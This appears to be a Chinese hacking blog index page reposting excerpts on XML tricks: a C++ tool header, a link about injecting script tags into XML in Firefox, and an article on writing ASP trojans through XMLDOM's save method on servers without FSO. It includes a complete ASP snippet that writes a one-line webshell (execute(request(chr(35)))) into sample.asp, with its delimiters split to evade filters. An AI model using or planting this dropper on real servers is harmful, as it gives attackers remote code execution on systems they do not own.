鬼仔's Blog

作者：CoolDiyer
来源：红狼

// xml.cpp : By CoolDiyer 2008/4/9 14:03 
//
#pragma comment(linker, "/subsystem:windows /FILEALIGN:0x200 /opt:nowin98")

#include <windows.h>
#include <atlbase.h>
#import "msxml.dll"

阅读全文 »

来源：WEB安全手册|Trace's Space

<%
set xmldoc = Server.CreateObject("Msxml2.DOMDocument.3.0")
xmldoc.loadXml("<p></p>")
xmldoc.documentElement.appendChild xmldoc.createComment("<"+"% execute(request(chr(35))) %"+ ">")
xmldoc.save(server.mappath("sample.asp"))
Response.Redirect "sample.asp"
%>

鬼仔：这几天一直在玩游戏，更新不及时。抱歉。

来源：Ph4nt0m Google Group

http://www.thespanner.co.uk/2007/10/09/injecting-the-script-tag-into-xml/

Firefox is now the browser I like hacking, there’s just so much stuff it
can do. I simply don’t have enough time to explore everything, but what I
have found was some very interesting XML behavior. I was helping Ronald
<http://www.0x000000.com/> 阅读全文 »

文章来源：黑客防线VIP文章区

这几天一直在学XML，忽然看到了xmlDoc中有一个.SAVE方法，我们就可以在没有FSO的机子上写ASP木马了。
FSO(FileSystemObject)是微软ASP的一个对文件操作的控件,不过好多的个人服务器都不支持或改名了,我们只可以望而生悲了。
首先了解一下XML需要的系统是WINDOWS 2000以上，也就是说我们不必在系统上安装XML parser解析也可以支持XML了。我们狂笑吧，在也不怕服务器上的FSO被改名了。
首先我们介绍一下HTML与XML代码的规范化
1.所有的XML文档必须有一个结束标记
在XML文档中, 忽略结束标记是不符合规定的。
在HTML文档中，一些元素可以是没有结束标记的。下面的代码在HTML中是完全合法的：
阅读全文 »